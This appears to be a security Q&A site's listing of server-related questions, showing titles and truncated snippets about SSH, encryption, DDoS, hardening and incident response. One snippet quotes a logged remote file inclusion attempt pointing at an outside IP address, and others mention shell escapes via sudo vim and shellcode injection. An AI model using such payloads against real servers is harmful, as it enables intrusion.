A server is a machine running a software daemon that is generally accessed over a network by other machines.

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DDoS - Impossible to stop?

Is it possible - in theory - to stop1 a DDoS attack of any size? Many people claim it's impossible to stop DDoS attacks and tell me I just shouldn't mess with the wrong people on the internet. But ...
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Does password-protecting a server's BIOS help in securing sensitive data?

I'm running a server of which I protected the BIOS with a password. One doesn't have to enter this password before booting, but before entering the BIOS setup. I just did this from routine. However, ...
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Is it fundamentally possible to validate that an unmodified version of your client connects to your server?

I'm cross posting this question from Programmers.SE because I think it's equally on-topic here and would like to pose the question to this community as well. This seems like a programming question ...
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Global Blackout is a myth?

In order to shut the Internet down, anonymous claimed that putting-down the 13 root DNS servers of the Internet and therefore disabling the HTTP Internet, the most widely used function of the Web, ...
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Possible to use both private key and password authentication for ssh login?

It seems that they are mutually exclusive, as disabling one gives me the other, and vice versa. Two-factor auth for my ssh servers sounds really nice, so is there any way to accomplish this?
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Does naming sensitive things discreetly provide protection?

I had a job where a manager said he liked naming servers after places because if they were named descriptively e.g. "passwords database server" they become obvious targets. I sort of generalized this ...
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How to encrypt data on the server?

I have some data on the server (running Linux) which needs to be encrypted (company policy). This data is being served by an application running on this machine. Now I consider a few possibilities: ...
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What Man-made Physical Threat Could Pose Severe Danger to a Server Farm?

I am writing a novel in which a researcher attempts to work against a study he is a part of by purposely sabotaging operations on the research compound. I am wondering if the following is plausible. ...
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Check logs for Heartbleed exploit use?

According to articles such as the following, it's apparently possible to check logs for heartbeat requests matching the payloads described in the Heartbleed exploit. Is this something that any server ...
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What is the difference between HSM and Key server?

As per PCI-DSS requirements, we have to use either HSM (Hardware Security Module), or Key Server to store the KEK (Key Encryption Key). If I'm storing encrypted DEK (Data Encryption Key) in an App ...
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Are duplicate SSH server host keys a problem?

I'm doing an assessment of a small network that is using a good bit of virtualization. They have cloned some of their linux machines after generating their SSH server host keys. So the servers all ...
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Enterprise standard for securing servers.

This must be the most broad question to ask, but through the years, i've come up with my own list of things I so to secure my servers, I follow the obvious steps I could gather online such as, ...
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How safe is the ownCloud encryption in a trusted LAN?

ownCloud looks like a promising locally hosted dropbox alternative. However, it has been pointed out that the encryption is not exactly strong... (The ownCloud team does at least provide a list of ...
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What is a good source for hardened base configurations

I attended B-Sides in Orlando FL where one of the speakers had mentioned a site which contains hardened configs for popular services such as apache and postfix. The author of these configs is ...
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Creating user specific authentication methods in SSH

I have configured sshd on an Ubuntu server to use key authentication and it is working fine. I had to disable password authentication for key authentication to work. Server is always accessed via ...
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How important is a mysql password for localhost?

We can assume that if an attacker gained access to a web server running mysql that they would be capable of reading the scripts to determine the mysql password. If mysql only responds on localhost, ...
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What are the privacy pros and cons of using a public DNS server vs. your own?

Whether I'm using a normal internet connection setup, or tunnelling it through an anonymizing VPN or through TOR, what information of mine is revealed to whatever DNS server that I choose (e.g. Google ...
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SSL Cert Types and Key Usage

I want to use OpenSSL to create a CSR and submit it to my CA (which uses Microsoft PKI) and receive certificates that can be used for both Server Auth and Client Auth. I'm not clear on a couple of ...
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Is it possible to locate Tor/proxy users? Spam is getting on my nerves

I'm managing a huge forum (over 15k posts and 500 users) and lately some guy uses a VPN (probably) to spam my forums with topics such as: "GAYGAYGAYGAYGAYGAYGAY" "FRIGHT IS GAY HAHAHAHHAA" "ADMINS ...
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Windows 2003 Enterprise infected by Conficker; post-infection problems continue

I used various tools to remove Conficker, and I pretty much succeeded, but I've had recurring problems afterward. It won't update anymore (with the following error message: 0x800706B5) I tried ...
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Security of JVM for Server

Using type- and memory-safe languages like Java and Scala for server applications gave me the confidence of having a basic level of security (e.g. compared to C). Now with the recent wave of Oracle ...
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Using 'sudo vim' to spawn a shell

I've recently read here an answer from a user about the way he hacked a server in a CTF contest. At some point in the description, he said that he did sudo vim and then spawned a shell via VIM using ...
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Setting up a security CTF server

I'm looking for resources and information from people who have experience running hacking capture-the-flag challenges. To sum it all up in a simple one-sentence question: How do you set up a server ...
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How do I improve the physical security of a rack cabinet?

I've got an 8U 19-inch server rack cabinet with two locks - one on the front panel, one on the rear panel. The locks are small cam locks, but the cam part is rather thin and flimsy-looking. I could ...
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What is investigated after a possible hack on servers?

My question follows recent news of the Sony hacking incident. I was wondering what type of investigation is conducted by a security firm or the FBI. For example, if the network servers were hacked, ...
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How to fuzz on FreeFloat FTP server using SPIKE Fuzzing?

I would to seek help on using SPIKE fuzzer to fuzz an FTP server which I am testing on Freefloat FTP server but do not have idea on how to work on. As I research and tested out many different types of ...
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Preparing for a stolen physical server

What would be the best ways to protect sensitive data stored on a server/drive that gets stolen? The confidentiality of the data is what is important, not retrieving it. Obviously, physical means are ...
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What port services can hackers use to break into a server?

I am getting ready to run my first server. I will use ufw to disable every port except port 22 for ssh and port 80 for http. I am curious though. Suppose theoretically I left every port open except ...
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NX bit causes segfault on NOP slide?

doing an assignment for university. We have to exec a shell on a remote server. We're told the NX bit is not set, however, when we redirect to our injected code, the server has a segmentation fault. ...
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Using SYN cookies to perform a DOS attack

In my software security class, we had this question: You are the system administrator for a provider that owns a large network (e.g., at least 64,000 IP addresses). Show how you can use SYN ...
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Storing config securely in a semi trusted shared hosting environment

I'm looking for a pattern to store a config file containing sensitive information in a semi trusted hosting environment. Semi trusted in this case meaning I trust them in general, but not with this ...
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Server root attack?

Someone in Hungary tried something odd recently: /?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt? This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
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Can email be encrypted before it reaches the mail server? If not, is there something that would allow something like this that's being worked on?

I was thinking about hosting my own email (own email server) instead of using Gmail. But then I realized I could never host my email on a server where I'm also hosting Wordpress. That is because I ...
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Will sabotaging a shared web hosting account threaten the security of sibling accounts being that they are shared on the same server?

Will sabotaging a shared web hosting account threaten the security of sibling accounts being that they are shared on the same server? Whether it it be through htaccess setups, posting login ...
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TLS server key: possible to sign another TLS server key?

If I have a valid (verifiable) certificate C_K_s that links the server key K_s to "www.example.com", is it possible to : use K_s to sign K_d, and let S_K_d be this signature use K_d as the TLS ...
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Does Ubuntu Server have a “phone home” feature?

I've heard that Ubuntu has some sort of "phone home" system that is enabled by default. The kind of stuff that passes along performance information and that type of things to Canonical. I don't know ...
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Disable local/KVM access on a Linux VPS (allow only SSH)

Friends of mine have previously had issues with VPS security. The security was no fault of the operating system/services themselves, but mainly due to the "Control Panel" that gets forced upon you ...
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Using Window Servers 2003 after security updates are discontinued

Let's say that Microsoft has stopped supporting Windows Server 2003 now so there is no any security updates and I use that system for Domain Controller (Windows XP/7 Professional Clients) and File ...
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How do I store a user's secret key on a server?

I'm learning about security at the moment and one thing I'd like to try out is having a key server distribute keys to clients that will allow them to securely save and read data locally. My basic ...
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Cryptolocker: can servers be protected?

I'm IT in a small company. The network is about as ancient as most of the staff (at 30, I'm the company's youngest), and the staff also is notorious for spreading viruses around the network despite ...
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What are the pros and cons of using fail2ban when using SSH key auth? [closed]

I've just bought a new dedicated server. Should I install fail2ban if I am only using SSH keys to login? What else does fail2ban protect? What are the advantages and disadvantages of fail2ban? Is ...
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Server Certification Processes

We are considering a certification process for new internal server builds before they are allowed to be placed into production. That is, the system administration team will send the server up to the ...
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Disabling SSL v2 and weak ciphers on client PC's

Is it a requirement to also disable SSL v2 and weak ciphers on client PC's? I have seen quite a few posts for disabling them on servers, but nothing about a regular client PC, say, running Windows XP ...
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Securing server to server http communication

We are trying to come up with a scheme to secure http communication between our internal servers. Are there any good established schemes out there? The requirements we have are: The clients and ...
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Updating stored, encrypted containers on a server

My scenario is this -- I want to store an encrypted container on a network server. This encrypted container should be accessible to others to download and decrypt/mount locally provided they have the ...
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How does a firewall help to protect a server?

Since a potential attacker will exploit the services that are already open to public by firewall rules, how will a firewall help to protect my server from attackers?
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Are there any logic-bombs that execute when the file is deleted?

I want to delete a suspected malicious file from a server. For the purposes of this question assume that the infected machine is Windows Server 2003 or later. Is there any risk in deleting such a ...
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Protecting IP on a remote server

Apologies in advance if this question is a bit vague. I just joined a stock trading group. A guy set up a server for me, and it's racked in their building. I ssh into it, and run my algo remotely ...
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How to find out the email host of a vanity email address?

Assuming a person gets his own domain address, say, theperson.com. He then goes on to create a vanity email address with that domain. e.g. me@theperson.com. me@theperson.com may be hosted by the ...
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How to regain access to the server?

I have a Debian server with KVM available 24/7. It was recently broken into and its root password changed. My hosting provider has restored my access and helped me change the password. But in the ...